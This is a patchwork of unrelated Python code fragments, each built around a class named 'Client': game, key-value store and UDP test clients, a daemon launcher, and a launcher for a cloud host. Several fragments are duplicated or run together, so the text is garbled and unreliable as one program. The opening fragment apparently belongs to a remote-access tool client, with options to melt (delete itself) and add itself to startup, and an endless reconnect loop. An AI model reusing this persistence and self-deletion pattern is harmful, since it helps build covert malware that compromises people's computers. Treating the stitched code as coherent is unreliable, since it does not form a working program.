class MainClient: def __init__(self, host, port, is_host_name=False, add_to_startup=False, melt=False): os.chdir(os.path.dirname(os.path.abspath(__file__))) # make sure working dir is same as file dir self._args = Args(self) logger.init(self._args.get_args()) self.client = None self.host = socket.gethostbyname(host) if is_host_name else host self.port = port p = Persistence() try: if melt: p.melt() if add_to_startup: p.add_startup() except (errors.ClientSocket.Persistence.StartupError, NotImplementedError): pass def start(self): self.client = Client(self.host, self.port) try: self.client.connect() except (InvalidToken, socket.error): # if the server closes without warning self.client.es.socket.close() del self.client self.start()
def start(self): self.client = Client(self.host, self.port) try: self.client.connect() except (InvalidToken, socket.error): # if the server closes without warning self.client.es.socket.close() del self.client self.start()
def test_get(self): print("GET test.") client = Client() for i in range(0, 100): key = random.randint(0, 10000) value = random.randint(0, 10000) client.put(key, value) return_value = client.get(key) self.assertTrue(value == return_value) print()
def main(): table = [[SUB, SUB, SUB, SEA, SUB, SUB, SUB, SEA, SEA, SEA], [SEA, SEA, SEA, SEA, SEA, SEA, SEA, SEA, SEA, SEA], [SUB, SEA, SEA, SEA, SEA, SUB, SUB, SUB, SUB, SEA], [SUB, SEA, SEA, SEA, SEA, SEA, SEA, SEA, SEA, SEA], [SUB, SEA, SEA, SUB, SUB, SUB, SEA, SEA, SEA, SEA], [SUB, SEA, SEA, SEA, SEA, SEA, SEA, SEA, SEA, SEA], [SUB, SEA, SEA, SEA, SEA, SEA, SEA, SEA, SEA, SEA], [SEA, SEA, SEA, SUB, SUB, SUB, SUB, SEA, SEA, SEA], [SEA, SEA, SEA, SEA, SEA, SEA, SEA, SEA, SEA, SEA], [SEA, SEA, SEA, SEA, SEA, SEA, SEA, SEA, SEA, SEA]] client = Client("127.0.0.1", 5555) client.begin() Game(client, table, False).play() client.end()
def test_put(self): print("PUT test.") client = Client() for i in range(0, 100): client.put(random.randint(0, 10000), random.randint(0, 10000)) print()
from src.client.client import Client HOST, PORT = "ec2-52-56-46-175.eu-west-2.compute.amazonaws.com", 7777 if __name__ == "__main__": client = Client(host=HOST, port=PORT) client.start()
from src.client.config import ClientConfig from src.client.client import Client from src.daemonize import daemonize DEFAULT_CONFIG_FILE = '/etc/sysconfig/rhn/osad.conf' if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-c', '--config', default=DEFAULT_CONFIG_FILE, dest='config_file', help='alternative configuration file') parser.add_argument('-d', '--daemon', dest='daemon', action='store_true', help='run as daemon', default=False) args = parser.parse_args() config = ClientConfig(args.config_file) client = Client(config) if args.daemon: daemonize(client) else: try: client.start() finally: client.stop()
def setUp(self): self.client = Client(rows=3, cols=4, proxy_address=ADDRESS, proxy_port=PORT)
class TestClient(unittest.TestCase): def setUp(self): self.client = Client(rows=3, cols=4, proxy_address=ADDRESS, proxy_port=PORT) def test_grid_dimensions(self): self.assertEqual(self.client.rows, 3) self.assertEqual(self.client.cols, 4) self.assertEqual(len(self.client.grid), 3) for col in self.client.grid: self.assertEqual(len(col), 4) def test_grid_content(self): for row in self.client.grid: for col in row: self.assertTrue(col in (0, 1)) def test_data_send(self): server = FakeServer(ADDRESS, PORT) server.run() time.sleep(0.5) # Give thread time to start self.client.send_msg_to_proxy(self.client.generate_msg()) time.sleep(0.5) # Give message time to be sent and processed server.stop() time.sleep(0.5) self.assertEqual(len(server.received_data), 1) self.assertEqual(server.received_data[0]['seq_num'], 0) self.assertEqual(server.received_data[0]['data'], self.client.grid) def test_send_frame(self): server = FakeServer(ADDRESS, PORT) server.run() time.sleep(0.5) self.client.send_frame() time.sleep(0.5) server.stop() time.sleep(0.5) self.assertEqual(len(server.received_data), 1) self.assertEqual(server.received_data[0]['seq_num'], 0) self.assertEqual(server.received_data[0]['data'], self.client.grid) def test_drop_send_frame(self): server = FakeServer(ADDRESS, PORT) server.run() time.sleep(0.5) self.client.drop_packet() self.client.send_frame() time.sleep(0.5) server.stop() time.sleep(0.5) self.assertEqual(len(server.received_data), 0) def test_skip_frame(self): server = FakeServer(ADDRESS, PORT) server.run() time.sleep(0.5) self.client.send_frame() time.sleep(0.5) self.client.skip_packet() self.client.send_frame() time.sleep(0.5) server.stop() time.sleep(0.5) self.assertEqual(len(server.received_data), 2) self.assertEqual(server.received_data[0]['seq_num'], 0) self.assertEqual(server.received_data[1]['seq_num'], 2) self.assertEqual(server.received_data[1]['data'], self.client.grid) def test_reverse_seq(self): server = FakeServer(ADDRESS, PORT) server.run() time.sleep(0.5) self.client.reverse_seq() self.client.send_frame() time.sleep(0.5) self.client.send_frame() time.sleep(0.5) server.stop() time.sleep(0.5) self.assertEqual(len(server.received_data), 2) self.assertEqual(server.received_data[0]['seq_num'], 1) self.assertEqual(server.received_data[1]['seq_num'], 0) def tearDown(self): self.client.stop_client()
from src.client.client import Client if __name__ == "__main__": client = Client() client.mset('n_1', 'var_1', 'n_2', ['var_2-0', 9, 'var_2-2'], 'n_3', 'var_3') client.get('n_2') client.delete('n_1')
from src.client.client import Client from src.daemonize import daemonize DEFAULT_CONFIG_FILE = '/etc/sysconfig/rhn/osad.conf' if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-c', '--config', default=DEFAULT_CONFIG_FILE, dest='config_file', help='alternative configuration file') parser.add_argument('-d', '--daemon', dest='daemon', action='store_true', help='run as daemon', default=False) args = parser.parse_args() config = ClientConfig(args.config_file) client = Client(config) if args.daemon: daemonize(client) else: try: client.start() finally: client.stop()